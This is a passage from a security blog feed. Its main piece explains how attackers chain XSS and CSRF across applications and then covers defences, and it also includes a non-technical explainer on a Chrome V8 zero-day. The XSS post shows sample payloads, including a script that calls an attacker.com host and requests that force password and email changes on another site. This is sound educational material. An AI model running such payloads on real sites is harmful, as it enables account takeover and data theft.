&lt;p&gt;The real question is:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Does the application's session behavior align with its business rules?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;That's the essence of business logic security.&lt;/p&gt;

&lt;p&gt;Because sometimes the system works exactly as intended—&lt;/p&gt;

&lt;p&gt;and that's the problem.&lt;/p&gt;




&lt;h2&gt;
  
  
  Final Thoughts
&lt;/h2&gt;

&lt;p&gt;Developers often focus on code-level bugs like XSS or SQL injection.&lt;/p&gt;

&lt;p&gt;Attackers don't.&lt;/p&gt;

&lt;p&gt;They look for gaps between what the application &lt;strong&gt;does&lt;/strong&gt; and what the business &lt;strong&gt;expects&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;Concurrent session handling lives right in that gap.&lt;/p&gt;

&lt;p&gt;Review your application's session policy today.&lt;/p&gt;

&lt;p&gt;You may discover that your biggest security issue isn't broken code—it's broken logic.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Have you encountered applications that allowed unlimited concurrent sessions? Share your experience below.&lt;/strong&gt;&lt;/p&gt;

</description>
      <category>security</category>
      <category>cybersecurity</category>
      <category>businesslogic</category>
      <category>webdev</category>
    </item>
    <item>
      <title>How Attackers Chain XSS and CSRF Across Multiple Applications: Understanding Multistage Web Attacks</title>
      <dc:creator>Arashad Dodhiya</dc:creator>
      <pubDate>Sun, 14 Jun 2026 14:46:26 +0000</pubDate>
      <link>https://dev.to/arashad_dodhiya_0e4bdba5a/how-attackers-chain-xss-and-csrf-across-multiple-applications-understanding-multistage-web-attacks-76d</link>
      <guid>https://dev.to/arashad_dodhiya_0e4bdba5a/how-attackers-chain-xss-and-csrf-across-multiple-applications-understanding-multistage-web-attacks-76d</guid>
      <description>&lt;p&gt;&lt;em&gt;One vulnerability is dangerous. Two vulnerabilities together can become catastrophic.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;Imagine this scenario.&lt;/p&gt;

&lt;p&gt;You log into your company's internal dashboard in one tab.&lt;/p&gt;

&lt;p&gt;In another tab, you're browsing a completely different application you trust.&lt;/p&gt;

&lt;p&gt;Unknown to you, that application has been compromised by an attacker.&lt;/p&gt;

&lt;p&gt;A few seconds later, sensitive actions start happening in the background:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Password changes&lt;/li&gt;
&lt;li&gt;Money transfers&lt;/li&gt;
&lt;li&gt;Account modifications&lt;/li&gt;
&lt;li&gt;API calls you never intended to make&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;You never clicked anything.&lt;/p&gt;

&lt;p&gt;You never saw a warning.&lt;/p&gt;

&lt;p&gt;Yet the attack succeeded.&lt;/p&gt;

&lt;p&gt;This is the reality of &lt;strong&gt;multistage attacks&lt;/strong&gt;—where attackers chain multiple weaknesses together to bypass security controls.&lt;/p&gt;

&lt;p&gt;One of the most dangerous combinations is:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;XSS + Weak CSRF Protection + Shared Authentication&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Let's break down how this attack works.&lt;/p&gt;




&lt;h2&gt;
  
  
  What Is a Multistage Attack?
&lt;/h2&gt;

&lt;p&gt;Most real-world breaches don't rely on a single vulnerability.&lt;/p&gt;

&lt;p&gt;Attackers chain weaknesses together.&lt;/p&gt;

&lt;p&gt;Think of it like breaking into a building:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;One flaw opens the front gate.&lt;/li&gt;
&lt;li&gt;Another flaw unlocks the office.&lt;/li&gt;
&lt;li&gt;A third flaw gives access to sensitive files.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Web attacks work exactly the same way.&lt;/p&gt;

&lt;p&gt;An attacker might use:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Cross-Site Scripting (XSS)&lt;/li&gt;
&lt;li&gt;Weak CSRF defenses&lt;/li&gt;
&lt;li&gt;Misconfigured authentication&lt;/li&gt;
&lt;li&gt;Shared session cookies&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Individually, these bugs may seem minor.&lt;/p&gt;

&lt;p&gt;Together?&lt;/p&gt;

&lt;p&gt;They're extremely powerful.&lt;/p&gt;




&lt;h2&gt;
  
  
  The Attack Chain
&lt;/h2&gt;

&lt;p&gt;Here's the simplified flow:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Application A compromised
        ↓
Victim visits Application A
        ↓
Stored/Reflected XSS executes
        ↓
Victim already authenticated to Application B
        ↓
Malicious requests sent to B
        ↓
Unauthorized actions performed
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This is called a &lt;strong&gt;cross-application attack chain&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;The victim never realizes anything happened.&lt;/p&gt;




&lt;h2&gt;
  
  
  Step 1: Application A Contains XSS
&lt;/h2&gt;

&lt;p&gt;Suppose &lt;strong&gt;Application A&lt;/strong&gt; contains a stored XSS vulnerability.&lt;/p&gt;

&lt;p&gt;The attacker injects malicious JavaScript:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;script&amp;gt;&lt;/span&gt;
&lt;span class="nf"&gt;fetch&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;https://attacker.com/log&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;/script&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Or more advanced payloads using JavaScript APIs like:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;var&lt;/span&gt; &lt;span class="nx"&gt;xhr&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;XMLHttpRequest&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="nx"&gt;xhr&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;open&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;POST&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;https://app-b.example/change-email&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="nx"&gt;xhr&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;send&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;When another user visits the vulnerable page, the script executes inside their browser.&lt;/p&gt;

&lt;p&gt;This is where things become dangerous.&lt;/p&gt;

&lt;p&gt;Because browsers trust code running inside a legitimate website.&lt;/p&gt;




&lt;h2&gt;
  
  
  Step 2: The Victim Is Already Logged Into Application B
&lt;/h2&gt;

&lt;p&gt;Now imagine the victim is also logged into &lt;strong&gt;Application B&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;This is common in enterprise environments:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;HR portal&lt;/li&gt;
&lt;li&gt;Admin dashboard&lt;/li&gt;
&lt;li&gt;Payment system&lt;/li&gt;
&lt;li&gt;Internal applications&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The browser automatically sends session cookies for authenticated sites.&lt;/p&gt;

&lt;p&gt;If Application B lacks proper protections, the attack moves to the next stage.&lt;/p&gt;




&lt;h2&gt;
  
  
  Step 3: XHR Requests Trigger Actions in Application B
&lt;/h2&gt;

&lt;p&gt;The malicious script can generate background requests using:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;var&lt;/span&gt; &lt;span class="nx"&gt;xhr&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;XMLHttpRequest&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;

&lt;span class="nx"&gt;xhr&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;open&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
  &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;POST&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;https://app-b.example/change-password&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="kc"&gt;true&lt;/span&gt;
&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="nx"&gt;xhr&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;send&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;password=hacked123&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Or modern JavaScript:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="nf"&gt;fetch&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
  &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;https://app-b.example/api/admin&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="na"&gt;method&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;POST&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If Application B relies only on cookies for authentication and lacks CSRF protection, the browser may include valid session cookies automatically.&lt;/p&gt;

&lt;p&gt;From the server's perspective:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;"This request came from an authenticated user."&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;But it didn't.&lt;/p&gt;

&lt;p&gt;It came from malicious JavaScript.&lt;/p&gt;




&lt;h2&gt;
  
  
  Why XSS Makes CSRF Even Worse
&lt;/h2&gt;

&lt;p&gt;Traditional CSRF attacks usually require tricking a victim into clicking a link or loading a page.&lt;/p&gt;

&lt;p&gt;XSS changes the game completely.&lt;/p&gt;

&lt;p&gt;Because once an attacker executes JavaScript in the browser, they can:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Send arbitrary requests&lt;/li&gt;
&lt;li&gt;Read page content (depending on origin)&lt;/li&gt;
&lt;li&gt;Trigger APIs&lt;/li&gt;
&lt;li&gt;Automate actions&lt;/li&gt;
&lt;li&gt;Chain multiple attacks together&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Security researchers often say:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;"XSS often defeats CSRF protections."&lt;/strong&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;And they're right.&lt;/p&gt;

&lt;p&gt;If an attacker controls JavaScript execution, many defensive layers become weaker.&lt;/p&gt;




&lt;h2&gt;
  
  
  Real-World Enterprise Risk
&lt;/h2&gt;

&lt;p&gt;Large organizations frequently operate multiple applications:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;portal.company.com
hr.company.com
admin.company.com
payroll.company.com
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If authentication is shared across domains or cookies are broadly scoped, compromise of one application may affect others.&lt;/p&gt;

&lt;p&gt;This creates a &lt;strong&gt;blast radius problem&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;One vulnerable app can become a launching pad for attacks against the entire ecosystem.&lt;/p&gt;

&lt;p&gt;And this is where most organizations underestimate risk.&lt;/p&gt;

&lt;p&gt;The issue isn't just one vulnerable application.&lt;/p&gt;

&lt;p&gt;It's how applications trust each other.&lt;/p&gt;




&lt;h2&gt;
  
  
  Defense: How to Stop This Attack Chain
&lt;/h2&gt;

&lt;p&gt;Stopping multistage attacks requires multiple layers of defense.&lt;/p&gt;

&lt;h3&gt;
  
  
  1. Use SameSite Cookies
&lt;/h3&gt;

&lt;p&gt;Modern browsers support:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight http"&gt;&lt;code&gt;&lt;span class="err"&gt;Set-Cookie:
session=abc123;
SameSite=Lax
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Or:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight http"&gt;&lt;code&gt;&lt;span class="err"&gt;SameSite=Strict
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This prevents browsers from sending cookies during certain cross-site requests.&lt;/p&gt;

&lt;p&gt;It significantly reduces CSRF risk.&lt;/p&gt;




&lt;h3&gt;
  
  
  2. Implement Strong CSRF Tokens
&lt;/h3&gt;

&lt;p&gt;Every state-changing request should require:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Unique tokens&lt;/li&gt;
&lt;li&gt;Server-side validation&lt;/li&gt;
&lt;li&gt;Session binding&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Example:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;input&lt;/span&gt;
 &lt;span class="na"&gt;type=&lt;/span&gt;&lt;span class="s"&gt;"hidden"&lt;/span&gt;
 &lt;span class="na"&gt;name=&lt;/span&gt;&lt;span class="s"&gt;"csrf_token"&lt;/span&gt;
 &lt;span class="na"&gt;value=&lt;/span&gt;&lt;span class="s"&gt;"random_token"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Without the correct token, the request fails.&lt;/p&gt;

&lt;p&gt;Even if the attacker controls the browser.&lt;/p&gt;




&lt;h3&gt;
  
  
  3. Perform Origin and Referer Validation
&lt;/h3&gt;

&lt;p&gt;Servers should verify:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight http"&gt;&lt;code&gt;&lt;span class="err"&gt;Origin: https://app-b.example
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If the request originates elsewhere:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight http"&gt;&lt;code&gt;&lt;span class="err"&gt;https://evil.example
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Reject it.&lt;/p&gt;

&lt;p&gt;Origin checks add another important security layer.&lt;/p&gt;




&lt;h3&gt;
  
  
  4. Isolate Authentication Domains
&lt;/h3&gt;

&lt;p&gt;Avoid sharing cookies across multiple applications.&lt;/p&gt;

&lt;p&gt;Bad:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;*.company.com
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Better:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;auth.company.com
hr.company.com
admin.company.com
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Separate authentication reduces the impact of a single compromise.&lt;/p&gt;




&lt;h3&gt;
  
  
  5. Eliminate XSS Vulnerabilities
&lt;/h3&gt;

&lt;p&gt;The strongest defense is preventing XSS entirely.&lt;/p&gt;

&lt;p&gt;Use:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Output encoding&lt;/li&gt;
&lt;li&gt;Context-aware escaping&lt;/li&gt;
&lt;li&gt;Content Security Policy (CSP)&lt;/li&gt;
&lt;li&gt;Secure frameworks&lt;/li&gt;
&lt;li&gt;Input validation&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Remember:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;An XSS vulnerability often becomes much more than "just XSS."&lt;/strong&gt;&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h2&gt;
  
  
  The Bigger Security Lesson
&lt;/h2&gt;

&lt;p&gt;Attackers rarely think in terms of individual vulnerabilities.&lt;/p&gt;

&lt;p&gt;They think in chains.&lt;/p&gt;

&lt;p&gt;A low-severity XSS bug today may become tomorrow's account takeover.&lt;/p&gt;

&lt;p&gt;A missing CSRF token may become the missing piece of a larger attack.&lt;/p&gt;

&lt;p&gt;Security isn't about protecting a single application.&lt;/p&gt;

&lt;p&gt;It's about protecting the trust relationships between applications.&lt;/p&gt;

&lt;p&gt;Because in modern web environments:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The real vulnerability is often the connection between systems—not the systems themselves.&lt;/strong&gt;&lt;/p&gt;




&lt;h2&gt;
  
  
  Final Thoughts
&lt;/h2&gt;

&lt;p&gt;Multistage attacks remind us of an important principle:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Security failures rarely happen because one thing went wrong. They happen because multiple small weaknesses align.&lt;/strong&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;XSS.&lt;/p&gt;

&lt;p&gt;Weak CSRF protection.&lt;/p&gt;

&lt;p&gt;Shared authentication.&lt;/p&gt;

&lt;p&gt;Individually manageable.&lt;/p&gt;

&lt;p&gt;Combined? Potentially devastating.&lt;/p&gt;

&lt;p&gt;As defenders, our job isn't only to patch vulnerabilities.&lt;/p&gt;

&lt;p&gt;It's to understand how attackers chain them together before they do.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Which security control do you think organizations underestimate the most: CSP, CSRF tokens, or cookie isolation?&lt;/strong&gt;&lt;/p&gt;

</description>
      <category>security</category>
      <category>javascript</category>
      <category>csrf</category>
      <category>xss</category>
    </item>
    <item>
      <title>Understanding Chrome Zero-Day CVE-2026-11645: What Happened, What V8 Is, and Why Google Rushed a Patch</title>
      <dc:creator>Arashad Dodhiya</dc:creator>
      <pubDate>Wed, 10 Jun 2026 16:28:37 +0000</pubDate>
      <link>https://dev.to/arashad_dodhiya_0e4bdba5a/understanding-chrome-zero-day-cve-2026-11645-what-happened-what-v8-is-and-why-google-rushed-a-5h5b</link>
      <guid>https://dev.to/arashad_dodhiya_0e4bdba5a/understanding-chrome-zero-day-cve-2026-11645-what-happened-what-v8-is-and-why-google-rushed-a-5h5b</guid>
      <description>&lt;p&gt;When Google releases an emergency Chrome update, security teams pay attention.&lt;/p&gt;

&lt;p&gt;When that update fixes a &lt;strong&gt;zero-day vulnerability&lt;/strong&gt;, everyone should.&lt;/p&gt;

&lt;p&gt;Recently, Google patched &lt;strong&gt;CVE-2026-11645&lt;/strong&gt;, a security flaw discovered in Chrome's V8 JavaScript engine. The company moved quickly because attackers could potentially exploit the bug before most users even knew it existed.&lt;/p&gt;

&lt;p&gt;But what exactly happened?&lt;/p&gt;

&lt;p&gt;And why does a bug inside a JavaScript engine become a global security concern?&lt;/p&gt;

&lt;p&gt;Let's break it down in plain English.&lt;/p&gt;




&lt;h2&gt;
  
  
  What Is CVE-2026-11645?
&lt;/h2&gt;

&lt;p&gt;CVE-2026-11645 is a security vulnerability found in &lt;strong&gt;V8&lt;/strong&gt;, the JavaScript engine that powers Google Chrome.&lt;/p&gt;

&lt;p&gt;Google classified the issue as a &lt;strong&gt;zero-day vulnerability&lt;/strong&gt;, which means attackers may have known about and potentially used the flaw before a patch was widely available.&lt;/p&gt;

&lt;p&gt;That's what makes zero-days dangerous.&lt;/p&gt;

&lt;p&gt;Normally, software vendors discover a bug, fix it, and then release the update.&lt;/p&gt;

&lt;p&gt;With a zero-day, defenders start at a disadvantage because attackers get a head start.&lt;/p&gt;




&lt;h2&gt;
  
  
  First, What Is V8?
&lt;/h2&gt;

&lt;p&gt;Most Chrome users never hear about V8.&lt;/p&gt;

&lt;p&gt;Yet they use it every day.&lt;/p&gt;

&lt;p&gt;V8 is the engine that takes JavaScript code from websites and turns it into instructions your computer can execute.&lt;/p&gt;

&lt;p&gt;Think of Chrome as a car.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;The browser interface is the dashboard.&lt;/li&gt;
&lt;li&gt;Tabs are the seats.&lt;/li&gt;
&lt;li&gt;Extensions are accessories.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;V8 is the engine under the hood.&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Without V8, websites couldn't run interactive features such as:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Online editors&lt;/li&gt;
&lt;li&gt;Social media feeds&lt;/li&gt;
&lt;li&gt;Web games&lt;/li&gt;
&lt;li&gt;Real-time chats&lt;/li&gt;
&lt;li&gt;Streaming platforms&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Every time a webpage executes JavaScript, V8 is doing the heavy lifting.&lt;/p&gt;

&lt;p&gt;That's why vulnerabilities inside V8 are especially important. If attackers can manipulate the engine itself, they may gain capabilities far beyond a normal website.&lt;/p&gt;




&lt;h2&gt;
  
  
  What Does "Out-of-Bounds" (OOB) Mean?
&lt;/h2&gt;

&lt;p&gt;The vulnerability behind CVE-2026-11645 has been described as an &lt;strong&gt;Out-of-Bounds (OOB)&lt;/strong&gt; issue.&lt;/p&gt;

&lt;p&gt;The name sounds complicated.&lt;/p&gt;

&lt;p&gt;The concept isn't.&lt;/p&gt;

&lt;p&gt;Imagine a hotel with 100 rooms.&lt;/p&gt;

&lt;p&gt;A guest is assigned Room 42.&lt;/p&gt;

&lt;p&gt;Instead of opening Room 42, they somehow gain access to Room 101—a room that doesn't exist within their authorized area.&lt;/p&gt;

&lt;p&gt;Something has gone wrong with the hotel's boundaries.&lt;/p&gt;

&lt;p&gt;Computers have similar boundaries.&lt;/p&gt;

&lt;p&gt;Programs store information inside allocated memory regions. They're supposed to read and write only within those assigned areas.&lt;/p&gt;

&lt;p&gt;An Out-of-Bounds bug occurs when software accidentally accesses memory outside its intended limits.&lt;/p&gt;

&lt;p&gt;This can lead to:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Application crashes&lt;/li&gt;
&lt;li&gt;Data corruption&lt;/li&gt;
&lt;li&gt;Information leaks&lt;/li&gt;
&lt;li&gt;Security vulnerabilities&lt;/li&gt;
&lt;li&gt;Potential code execution under certain conditions&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The exact impact depends on how the bug behaves and how an attacker might interact with it.&lt;/p&gt;




&lt;h2&gt;
  
  
  Why Are OOB Vulnerabilities So Serious?
&lt;/h2&gt;

&lt;p&gt;Not every software bug becomes a security emergency.&lt;/p&gt;

&lt;p&gt;OOB vulnerabilities are different.&lt;/p&gt;

&lt;p&gt;They affect memory management, one of the most sensitive parts of any application.&lt;/p&gt;

&lt;p&gt;When memory boundaries break down, unexpected behavior follows.&lt;/p&gt;

&lt;p&gt;Security researchers spend significant time studying these flaws because they sometimes create pathways for attackers to:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Read data they shouldn't access&lt;/li&gt;
&lt;li&gt;Influence program execution&lt;/li&gt;
&lt;li&gt;Escape intended security restrictions&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Modern browsers contain multiple layers of protection designed to make exploitation difficult.&lt;/p&gt;

&lt;p&gt;But browser vendors still treat memory-related vulnerabilities as high priority because browsers process untrusted content from millions of websites every day.&lt;/p&gt;




&lt;h2&gt;
  
  
  Why Google Patched CVE-2026-11645 So Quickly
&lt;/h2&gt;

&lt;p&gt;Google's security team follows a common strategy:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Patch first. Share details later.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;At first glance, that might seem secretive.&lt;/p&gt;

&lt;p&gt;It's actually the opposite.&lt;/p&gt;

&lt;p&gt;Publishing detailed technical information before users install updates would effectively hand attackers a roadmap.&lt;/p&gt;

&lt;p&gt;By releasing a patch quickly and limiting technical details initially, Google gives users time to update before deeper research becomes public.&lt;/p&gt;

&lt;p&gt;This approach is standard across the industry.&lt;/p&gt;

&lt;p&gt;Companies like:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Google&lt;/li&gt;
&lt;li&gt;Microsoft&lt;/li&gt;
&lt;li&gt;Apple&lt;/li&gt;
&lt;li&gt;Mozilla&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;all regularly delay technical disclosures when active exploitation is suspected.&lt;/p&gt;

&lt;p&gt;The goal is simple:&lt;/p&gt;

&lt;p&gt;Protect users before attackers can weaponize the information.&lt;/p&gt;




&lt;h2&gt;
  
  
  What Makes Browser Zero-Days Different?
&lt;/h2&gt;

&lt;p&gt;A vulnerability in a random desktop application is one thing.&lt;/p&gt;

&lt;p&gt;A browser vulnerability is another.&lt;/p&gt;

&lt;p&gt;Browsers sit at the center of modern computing.&lt;/p&gt;

&lt;p&gt;We use them for:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Banking&lt;/li&gt;
&lt;li&gt;Email&lt;/li&gt;
&lt;li&gt;Social media&lt;/li&gt;
&lt;li&gt;Work applications&lt;/li&gt;
&lt;li&gt;Cloud platforms&lt;/li&gt;
&lt;li&gt;Password managers&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;In many cases, a browser is the most exposed application on a device.&lt;/p&gt;

&lt;p&gt;It constantly processes content from the internet.&lt;/p&gt;

&lt;p&gt;That's why browser vendors invest enormous resources into security reviews, sandboxing, memory protections, and bug bounty programs.&lt;/p&gt;

&lt;p&gt;Even with all those defenses, vulnerabilities still appear.&lt;/p&gt;

&lt;p&gt;Software is complicated.&lt;/p&gt;

&lt;p&gt;Chrome contains millions of lines of code, and V8 itself is one of the most sophisticated JavaScript engines ever built.&lt;/p&gt;




&lt;h2&gt;
  
  
  Should You Be Worried?
&lt;/h2&gt;

&lt;p&gt;The good news:&lt;/p&gt;

&lt;p&gt;Most users don't need to panic.&lt;/p&gt;

&lt;p&gt;They need to update.&lt;/p&gt;

&lt;p&gt;Google's rapid patch means the safest action is straightforward:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Update Chrome immediately.&lt;/li&gt;
&lt;li&gt;Restart the browser if required.&lt;/li&gt;
&lt;li&gt;Enable automatic updates.&lt;/li&gt;
&lt;li&gt;Keep operating systems and extensions updated.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Security incidents often sound terrifying because of the technical language.&lt;/p&gt;

&lt;p&gt;In reality, the biggest risk usually comes from running outdated software after a fix already exists.&lt;/p&gt;




&lt;h2&gt;
  
  
  The Bigger Lesson
&lt;/h2&gt;

&lt;p&gt;CVE-2026-11645 is a reminder of something many people forget:&lt;/p&gt;

&lt;p&gt;The internet runs on incredibly complex software.&lt;/p&gt;

&lt;p&gt;Every webpage you open triggers thousands of operations behind the scenes. Engines like V8 work at extraordinary speed, translating JavaScript into machine instructions in real time.&lt;/p&gt;

&lt;p&gt;Most of the time, that complexity is invisible.&lt;/p&gt;

&lt;p&gt;Until a vulnerability appears.&lt;/p&gt;

&lt;p&gt;Then everyone gets a glimpse of how much engineering—and security work—is happening beneath the browser window.&lt;/p&gt;

&lt;p&gt;The lesson isn't that Chrome is unsafe.&lt;/p&gt;

&lt;p&gt;It's that modern software is constantly evolving, and security updates are one of the most important parts of staying protected online.&lt;/p&gt;

&lt;p&gt;So if Chrome asks you to update, don't click "Later."&lt;/p&gt;

&lt;p&gt;This is exactly why those updates exist.&lt;/p&gt;

</description>
      <category>cybersecurity</category>
      <category>webdev</category>
      <category>security</category>
      <category>javascript</category>
    </item>
    <item>
      <title>Why Developers Should Never Leave Backup Files on Production Servers</title>
      <dc:creator>Arashad Dodhiya</dc:creator>
      <pubDate>Wed, 10 Jun 2026 12:30:20 +0000</pubDate>
      <link>https://dev.to/arashad_dodhiya_0e4bdba5a/why-developers-should-never-leave-backup-files-on-production-servers-5e43</link>
      <guid>https://dev.to/arashad_dodhiya_0e4bdba5a/why-developers-should-never-leave-backup-files-on-production-servers-5e43</guid>
